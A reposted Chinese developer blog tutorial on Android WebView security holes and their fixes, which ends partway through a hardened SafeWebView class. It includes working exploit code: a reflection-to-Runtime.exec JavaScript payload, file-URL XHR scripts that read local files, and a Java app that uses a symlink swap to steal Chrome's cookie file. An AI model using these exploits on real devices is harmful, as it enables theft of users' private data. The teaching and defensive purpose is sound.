日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

android WebView详解,常见漏洞详解和安全源码(下)

發布時間:2025/3/15 编程问答 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 android WebView详解,常见漏洞详解和安全源码(下) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

上篇博客主要分析了 WebView 的詳細使用,這篇來分析 WebView 的常見漏洞和使用的坑。?
  上篇:android WebView詳解,常見漏洞詳解和安全源碼(上)?
  轉載請注明出處:http://blog.csdn.net/self_study/article/details/55046348?
  對技術感興趣的同鞋加群 544645972 一起交流。

WebView 常見漏洞

  WebView 的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞,知會一下我~~

WebView 任意代碼執行漏洞

  已知的 WebView 任意代碼執行漏洞有 4 個,較早被公布是?CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引起遠程代碼執行漏洞。接著是?CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引起的遠程代碼執行漏洞。之后是?CVE-2014-1939?爆出 WebView 中內置導出的 “searchBoxJavaBridge_” Java Object 可能被利用,實現遠程任意代碼。再后來是?CVE-2014-7224,類似于?CVE-2014-1939?,WebView 內置導出 “accessibility” 和 “accessibilityTraversal” 兩個 Java Object 接口,可被利用實現遠程任意代碼執行。
  一般情況下,WebView 使用 Javascript 腳本的代碼如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView); WebSettings msetting = mWebView.getSettings(); msetting.setJavaScriptEnabled(true); mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”); mWebView.loadUrl(url);
  • 1
  • 2
  • 3
  • 4
  • 5

CVE-2012-6636?和?CVE-2013-4710

  Android 系統為了方便 APP 中 Java 代碼和網頁中的 Javascript 腳本交互,在 WebView 控件中實現了 addJavascriptInterface 接口,如上面的代碼所示,我們來看一下這個方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.The Java object's fields are not accessible.
  • 1
  • 2
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are enumerable from JavaScript.
  • 1
  • 2
  可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用這個方法是不安全的,網頁中的JS腳本可以利用接口 “testjs” 調用 App 中的 Java 代碼,而 Java 對象繼承關系會導致很多 Public 的函數及 getClass 函數都可以在JS中被訪問,結合 Java 的反射機制,攻擊者還可以獲得系統類的函數,進而可以進行任意代碼執行,首先第一步 WebView 添加 Javascript 對象,并且添加一些權限,比如想要獲取 SD 卡上面的信息就需要 `android.permission.WRITE_EXTERNAL_STORAGE` ;第二步 JS 中可以遍歷 window 對象,找到存在 getClass 方法的對象,再通過反射的機制,得到 Runtime 對象,然后就可以調用靜態方法來執行一些命令,比如訪問文件的命令;第三步就是從執行命令后返回的輸入流中得到字符串,比如執行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:function execute(cmdArgs) { for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

所以當一些 APP 通過掃描二維碼打開一個外部網頁的時候,就可以執行這段 js 代碼,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中瀏覽器 APP 成為重災區,但截至目前仍有很多 APP 中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外一些小廠商的 APP 開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用 addJavascriptInterface 接口,明目張膽踩雷。
  出于安全考慮,Google 在 API17 版本中就規定能夠被調用的函數必須以 @JavascriptInterface 進行注解,理論上如果 APP 依賴的 API 為 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,所以危害性到目前為止依舊不小。關于所有 Android 機型的占比,可以看看 Google 的?Dashboards:
?

截止 2017/1/9 日,可以看到 android5.0 之下的手機依舊不少,需要重視。
  漏洞的解決

  但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那么這個漏洞怎么去解決呢?這就需要用到 onJsPrompt 這個方法了,這里先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復這個漏洞的詳細代碼:

  • 繼承 WebView ,重寫 addJavascriptInterface 方法,然后在內部自己維護一個對象映射關系的 Map,當調用 addJavascriptInterface 方法,將需要添加的 JS 接口放入這個 Map 中;
  • 每次當 WebView 加載頁面的時候加載一段本地的 JS 代碼:

javascript:(function JsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_name is exist!!');}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));},};}})()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

這段 JS 代碼定義了注入的格式,其中的 XXX 為注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調用即可,如果這個對象有多個方法,則會注冊多個 window.XXX_js_interface_name 塊;

然后在 prompt 中返回我們約定的字符串,當然這個字符串也可以自己重新定義,它包含了特定的標識符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,參數,對象名等;當 JS 調用 XXX 方法的時候,就會調用到終端 Native 層的 OnJsPrompt 方法中,我們再解析出方法名,參數,對象名等,解析出來之后進行相應的處理,同時返回值也可以通過 prompt 返回回去;window.XXX_js_interface_name 代表在 window 上聲明了一個對象,聲明的方式是:方法名:function(參數1,參數2)。還有一個問題是什么時候加載這段 JS 呢,在 WebView 正常加載 URL 的時候去加載它,但是會發現當 WebView 跳轉到下一個頁面時,之前加載的 JS 可能就已經無效了,需要再次加載,所以通常需要在一下幾個方法中加載 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。?
  通過這幾步,就可以簡單的修復漏洞問題,但是還需要注意幾個問題,需要過濾掉 Object 類的方法,由于通過反射的形式來得到指定對象的方法,所以基類的方法也可以得到,最頂層的基類就是 Object,為了不把 getClass 等方法注入到 JS 中,我們需要把 Object 的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具體的代碼實現可以看看下面的源碼。

CVE-2014-1939

  在 2014 年發現在 Android4.4 以下的系統中,webkit 中默認內置了 “searchBoxJavaBridge_”,代碼位于 “java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執行的威脅,所以就算沒有通過 addJavascriptInterface 加入任何的對象,系統也會加入一個 searchBoxJavaBridge_ 對象,解決辦法就是通過 removeJavascriptInterface 方法將對象刪除。

CVE-2014-7224

  在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啟時,在 Android4.4 以下的系統中,由系統提供的 WebView 組件都默認導出 ”accessibility” 和 ”accessibilityTraversal” 這兩個接口,代碼位于 “android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執行的威脅,同樣的需要通過 removeJavascriptInterface 方法將這兩個對象刪除。

WebView 密碼明文存儲漏洞

  WebView 默認開啟密碼保存功能 mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,所以需要通過 WebSettings.setSavePassword(false) 關閉密碼保存提醒功能。

WebView 域控制不嚴格漏洞

  要了解 WebView 中 file 協議的安全性,我們這里用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫做 WebViewActivity :

public class WebViewActivity extends Activity {private WebView webView;public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview);webView = (WebView) findViewById(R.id.webView);//webView.getSettings().setJavaScriptEnabled(true); (0)//webView.getSettings().setAllowFileAccess(false); (1)//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)Intent i = getIntent();String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html webView.loadUrl(url);}}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
將該 WebViewActivity 設置為 exported=”true”,當其他應用啟動此 Activity 時, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),通過其他 APP 使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity ,我們知道因為 Android 中的 sandbox,Android 中的各應用是相互隔離的,在一般情況下 A 應用是不能訪問 B 應用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用數據泄露的威脅,即 A 應用可以通過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協議的 url,從而可以獲取 B 應用的內部私有文件,下面我們著重分析這幾個 API 對 WebView 安全性的影響。

setAllowFileAccess

Enables or disables file access within WebView. File access is enabled by default. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.
  • 1
  • 2
  • 3

  通過這個 API 可以設置是否允許 WebView 使用 File 協議,Android 中默認 setAllowFileAccess(true),所以默認值是允許,在 File 域下,能夠執行任意的 JavaScript 代碼,?同源策略跨域訪問則能夠對私有目錄文件進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 做限制,所以使用 file 域加載的 js 能夠使用同源策略跨域訪問導致隱私信息泄露,針對 IM 類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。如果不允許使用 file 協議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協議后,讓 WebViewActivity 打開 attack.html 會得到如下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協議的文件。

那么怎么解決呢,不要著急,繼續往下看。

setAllowFileAccessFromFileURLs

Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, this setting should be disabled. Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript access to file scheme resources. Other access to such resources, for example, from image HTML elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH and earlier devices, you should explicitly set this value to false. The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level JELLY_BEAN and above.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  通過此API可以設置是否允許通過 file url 加載的 Javascript 讀取其他的本地文件,這個設置在 JELLY_BEAN(android 4.1) 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設置為 true 時,對應上面的 attack.html 代碼為:<script> function loadXMLDoc() {var arm = "file:///etc/hosts";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null); } loadXMLDoc(); </script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
,此時通過這段代碼就可以成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,由于未對 file 域做安全限制,惡意 APP 調用 360 瀏覽器加載本地的攻擊頁面(比如惡意 APP 釋放到 sd 卡上的一個 html)后,就可以獲取 360 手機瀏覽器下的所有私有數據,包括 webviewCookiesChromium.db 下的 Cookie 內容,但是如果設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html
  • 1
  • 2

setAllowUniversalAccessFromFileURLs

  通過此 API 可以設置是否允許通過 file url 加載的 Javascript 可以訪問其他的源,包括其他的文件和 http,https 等其他的源。這個設置在 JELLY_BEAN 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。如果此設置是允許,則 setAllowFileAccessFromFileURLs 不起做用,此時修改 attack.html 的代碼:

<script> function loadXMLDoc() {var arm = "http://www.so.com";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null); } loadXMLDoc(); </script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
當 AllowFileAccessFromFileURLs 為 true 時,上述 javascript 可以成功讀取 http://www.so.com 的內容,但設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其他源的資源:I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load http://www.so.com/. Origin null is not allowed by Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html
  • 1
  • 2
  • 3

以上漏洞的初步解決方案

  通過以上的介紹,初步的方案是使用下面的代碼來杜絕:

setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
  • 1
  • 2
  • 3
這樣就可以讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默認為 false 了么,其實不然,我們繼續往下看其他漏洞。

使用符號鏈接跨源

  為了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設置為禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中這兩項設置默認也是禁止的,但是即使把這兩項都設置為 false,通過 file URL 加載的 javascript 仍然有方法訪問其他的本地文件,通過符號鏈接攻擊可以達到這一目的,前提是允許 file URL 執行 javascript。這一攻擊能奏效的原因是無論怎么限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的文件,通過 javascript 的延時執行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件,具體攻擊步驟見?Chromium bug 144866,下面也貼出了代碼和詳解。因為 Chrome 最新版本默認禁用 file 協議,所以這一漏洞在最新版的 Chrome 中并不存在,Google 也并沒有修復它,但是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權限的惡意 APP 可以盜取瀏覽器的任意私有文件,包括但不限于 Cookie、保存的密碼、收藏夾和歷史記錄,并可以將所盜取的文件上傳到攻擊者的服務器。下圖為通過 file URL 讀取某手機瀏覽器 Cookie 的截圖:

截圖將 Cookie alert 出來了,實際情況可以上傳到服務器,攻擊的詳細代碼如下所示:

public class MainActivity extends AppCompatActivity {public final static String MY_PKG = "com.example.safewebview";public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";public final static String TARGET_PKG = "com.android.chrome";public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";public final static String HTML ="<body>" +"<u>Wait a few seconds.</u>" +"<script>" +"var d = document;" +"function doitjs() {" +" var xhr = new XMLHttpRequest;" +" xhr.onload = function() {" +" var txt = xhr.responseText;" +" d.body.appendChild(d.createTextNode(txt));" +" alert(txt);" +" };" +" xhr.open('GET', d.URL);" +" xhr.send(null);" +"}" +"setTimeout(doitjs, 8000);" +"</script>" +"</body>";@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);doit();}public void doit() {try {// Create a malicious HTMLcmdexec("mkdir " + MY_TMP_DIR);cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);cmdexec("chmod -R 777 " + MY_TMP_DIR);Thread.sleep(1000);// Force Chrome to load the malicious HTMLinvokeChrome("file://" + HTML_PATH);Thread.sleep(4000);// Replace the HTML with a symlink to Chrome's Cookie filecmdexec("rm " + HTML_PATH);cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);} catch (Exception e) {}}public void invokeChrome(String url) {Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");startActivity(intent);}public void cmdexec(String cmd) {try {String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};Runtime.getRuntime().exec(tmp);} catch (Exception e) {}} }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
這就是使用符號鏈接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名為 xx.html,并且修改該目錄的權限,修改完成之后休眠 1s,讓文件操作完成,完成之后通過系統的 Chrome 應用去打開這個 xx.html 文件,然后等待 4s 讓 Chrome 加載完成該 html,最后將該 html 刪除,并且使用 ln -s 命令為 Chrome 的 Cookie 文件創建軟連接,注意,在這條命令執行之前 xx.html 是不存在的,執行完這條命令之后,就生成了這個文件,并且將 Cookie 文件鏈接到了 xx.html 上,于是就可以通過鏈接來訪問 Chrome 的 Cookie 了。

setJavaScriptEnabled

  通過此 API 可以設置是否允許 WebView 使用 JavaScript,默認是不允許,但很多應用,包括移動瀏覽器為了讓 WebView 執行 http 協議中的 JavaScript,都會主動設置允許 WebView 執行 JavaScript,而又不會對不同的協議區別對待,比較安全的實現是如果加載的 url 是 http 或 https 協議,則啟用 JavaScript,如果是其它危險協議,比如是 file 協議,則禁用 JavaScript。如果是 file 協議,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅,但是此時禁用 JavaScript 的執行并不能完全杜絕跨源文件泄露。例如,有的應用實現了下載功能,對于加載不了的頁面,會自動下載到 sd 卡中,由于 sd 卡中的文件所有應用都可以訪問,于是可以通過構造一個 file URL 指向被攻擊應用的私有文件,然后用此 URL 啟動被攻擊應用的 WebActivity,這樣由于該 WebActivity 無法加載該文件,就會將該文件下載到 sd 卡下面,然后就可以從 sd 卡上讀取這個文件了,當然這種應用比較少,這個也算是應用自身無意產生的一個漏洞吧。

以上漏洞的解決方案

  針對 WebView 域控制不嚴格漏洞的安全建議如下:

  • 對于不需要使用 file 協議的應用,禁用 file 協議;
  • 對于需要使用 file 協議的應用,禁止 file 協議加載 JavaScript。
  •   所以兩種解決辦法,第一種類似 Chrome,直接禁止 file 協議:

    setAllowFileAccess(false); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
    • 1
    • 2
    • 3
    第二種是根據不同情況不同處理(無法避免應用對于無法加載的頁面下載到 sd 卡上這個漏洞):setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false); if (url.startsWith("file://") {setJavaScriptEnabled(false); } else {setJavaScriptEnabled(true); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    開發中遇見的坑

      這里記錄一下開發中遇到的一些坑和解決辦法:

    loadData() 方法

      我們可以通過使用?WebView.loadData(String data, String mimeType, String encoding)?方法來加載一整個 HTML 頁面的一小段內容,第一個就是我們需要 WebView 展示的內容,第二個是我們告訴 WebView 我們展示內容的類型,一般,第三個是字節碼,但是使用的時候,這里會有一些坑,我們來看一個簡單的例子:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html", "UTF-8");
    • 1
    • 2

    這里的邏輯很簡單,加載一個簡單的富文本標簽,我們看看運行后的效果:

    可以注意到這里顯示成亂碼了,可是明明已經指定了編碼格式為 UTF-8 啊,可是這就是使用的坑,我們需要將代碼進行修改:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html;charset=UTF-8", "null");
    • 1
    • 2

    我們再來看看顯示效果:

    這樣我們就可以看到正確的內容了,Google 還指出,在我們這種加載的方法下,我們的 Data 數據里不能出現 ’#’, ‘%’, ‘\’ , ‘?’ 這四個字符,如果出現了我們要用 %23, %25, %27, %3f 對應來替代,網上列舉了未將特定字符轉義過程中遇到的異常現象:

    A) % 會報找不到頁面錯誤,頁面全是亂碼。 B) # 會讓你的 goBack 失效,但 canGoBAck 是可以使用的,于是就會產生返回按鈕生效,但不能返回的情況。 C) \ 和 ? 在轉換時,會報錯,因為它會把 \ 當作轉義符來使用,如果用兩級轉義,也不生效。
    • 1
    • 2
    • 3
    我們在使用 loadData() 時,就意味著需要把所有的非法字符全部轉換掉,這樣就會給運行速度帶來很大的影響,因為在使用時,很多情況下頁面 stytle 中會使用很多 ‘%’ 號,頁面的數據越多,運行的速度就會越慢。

    頁面空白

      當 WebView 嵌套在 ScrollView 里面的時候,如果 WebView 先加載了一個高度很高的網頁,然后加載了一個高度很低的網頁,就會造成 WebView 的高度無法自適應,底部出現大量空白的情況出現,具體的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度無法自適應解決。

    內存泄漏

      WebView 的內存泄漏是一個比較大的問題,尤其是當加載的頁面比較龐大的時候,解決方法網上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下 QQ 和微信的做法,每當打開一個 WebView 界面的時候,會開啟一個新進程,在頁面退出之后通過 System.exit(0) 關閉這個進程,這樣就不會存在內存泄漏的問題了,具體的做法可以查看這篇博客:Android WebView Memory Leak WebView內存泄漏,里面也提供了另外一種解決辦法,感興趣的可以去看一下。

    setBuiltInZoomControls 引起的 Crash

      當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啟用該設置后,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下很多手機會出現這種情況:如果圖標自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而造成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。

    后臺無法釋放 JS 導致耗電

      如果 WebView 加載的的 html 里有一些 JS 一直在執行比如動畫之類的東西,如果此刻 WebView 掛在了后臺,這些資源是不會被釋放,用戶也無法感知,導致一直占有 CPU 增加耗電量,如果遇到這種情況,在 onStop 和 onResume 里分別把 setJavaScriptEnabled() 給設置成 false 和 true 即可。

    4.4 版本之后 loadUrl 加載 js 傳遞 url 自動轉義

      在開發中遇到過一個需求是在 WebView 中需要調用前端的 js 腳本處理一段 url,js 解析完這段 url 之后再把結果交由本地進行處理,但是遇到一個問題是,比如一個 url 為 “https://www.aaaa.com/bb?param1=3333%23444&param2=555%40666“,大家都知道 url 中如果存在類似“#@”這種特殊符號的時候就需要 encode 成 23% 和 40%,這樣才是一個符合要求的 url,要不然 “https://www.aaaa.com/bb?param1=3333#444&param2=555@666”這個 url 是一個非法的 url,但是當時將這段合法的 url 通過 loadUrl(“javascript:xxxxx”) 的方式傳遞給 js 的相關函數進行處理,js 端獲取到 url 被自動轉義成了“https://www.aaaa.com/bb?param1=3333#444&param2=555@666“,去 google 了很久才發現這個問題原來是 android 自帶的一個問題,見?issue:36995865,原來在 4.4 之前系統的 WebView 不會自動 decode,但是 4.4 和之后的系統上通過 loadUrl 傳遞的東西會自動將 %23 等 decode 成 #,這樣就造成在 4.4 之后通過 loadUrl 加載一段 js,傳遞一段 url,如果 url 里面有 # @ 等非法字符的時候就會造成 js 端獲取到的 url 非法,無法正常解析,解決辦法就是在 4.4 版本之后使用 evaluateJavascript 這個函數,這個函數也正好是 4.4 版本引入的,使用 evaluateJavascript 這個函數傳遞 url,就不會自動 decode,js 函數獲取到的 url 仍然是轉義后的 %23 %40,這個問題雖然很少人遇到,但是遇到了就屬于一個需要時間定位和處理的問題了。

    源碼及解析

      來看看解決上述問題的 WebView 源碼:

    public class SafeWebView extends WebView {private static final boolean DEBUG = true;private static final String VAR_ARG_PREFIX = "arg";private static final String MSG_PROMPT_HEADER = "MyApp:";/*** 對象名*/private static final String KEY_INTERFACE_NAME = "obj";/*** 函數名*/private static final String KEY_FUNCTION_NAME = "func";/*** 參數數組*/private static final String KEY_ARG_ARRAY = "args";/*** 要過濾的方法數組*/private static final String[] mFilterMethods = {"getClass","hashCode","notify","notifyAll","equals","toString","wait",};/*** 緩存addJavascriptInterface的注冊對象*/private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();/*** 緩存注入到JavaScript Context的js腳本*/private String mJsStringCache = null;public SafeWebView(Context context, AttributeSet attrs, int defStyle) {super(context, attrs, defStyle);init();}public SafeWebView(Context context, AttributeSet attrs) {super(context, attrs);init();}public SafeWebView(Context context) {super(context);init();}/*** WebView 初始化,設置監聽,刪除部分Android默認注冊的JS接口*/private void init() {setWebChromeClient(new WebChromeClientEx());setWebViewClient(new WebViewClientEx());safeSetting();removeUnSafeJavascriptImpl();}/*** 安全性設置*/private void safeSetting() {getSettings().setSavePassword(false);getSettings().setAllowFileAccess(false);//設置為 false 將不能加載本地 html 文件if (Build.VERSION.SDK_INT >= 16) {getSettings().setAllowFileAccessFromFileURLs(false);getSettings().setAllowUniversalAccessFromFileURLs(false);}}/*** 檢查SDK版本是否 >= 3.0 (API 11)*/private boolean hasHoneycomb() {return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;}/*** 檢查SDK版本是否 >= 4.2 (API 17)*/private boolean hasJellyBeanMR1() {return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;}/*** 3.0 ~ 4.2 之間的版本需要移除 Google 注入的幾個對象*/@SuppressLint("NewApi")private boolean removeUnSafeJavascriptImpl() {if (hasHoneycomb() && !hasJellyBeanMR1()) {super.removeJavascriptInterface("searchBoxJavaBridge_");super.removeJavascriptInterface("accessibility");super.removeJavascriptInterface("accessibilityTraversal");return true;}return false;}@Overridepublic void setWebViewClient(WebViewClient client) {if (hasJellyBeanMR1()) {super.setWebViewClient(client);} else {if (client instanceof WebViewClientEx) {super.setWebViewClient(client);} else if (client == null) {super.setWebViewClient(client);} else {throw new IllegalArgumentException("the \'client\' must be a subclass of the \'WebViewClientEx\'");}}}@Overridepublic void setWebChromeClient(WebChromeClient client) {if (hasJellyBeanMR1()) {super.setWebChromeClient(client);} else {if (client instanceof WebChromeClientEx) {super.setWebChromeClient(client);} else if (client == null) {super.setWebChromeClient(client);} else {throw new IllegalArgumentException("the \'client\' must be a subclass of the \'WebChromeClientEx\'");}}}/*** 如果版本大于 4.2,漏洞已經被解決,直接調用基類的 addJavascriptInterface* 如果版本小于 4.2,則使用map緩存待注入對象*/@SuppressLint("JavascriptInterface")@Overridepublic void addJavascriptInterface(Object obj, String interfaceName) {if (TextUtils.isEmpty(interfaceName)) {return;}// 如果在4.2以上,直接調用基類的方法來注冊if (hasJellyBeanMR1()) {super.addJavascriptInterface(obj, interfaceName);} else {mJsInterfaceMap.put(interfaceName, obj);}}/*** 刪除待注入對象,* 如果版本為 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。* 如果版本小于 4.2,則從緩存 map 中刪除注入對象*/@SuppressLint("NewApi")public void removeJavascriptInterface(String interfaceName) {if (hasJellyBeanMR1()) {super.removeJavascriptInterface(interfaceName);} else {mJsInterfaceMap.remove(interfaceName);//每次 remove 之后,都需要重新構造 JS 注入mJsStringCache = null;injectJavascriptInterfaces();}}/*** 如果 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的*/private void 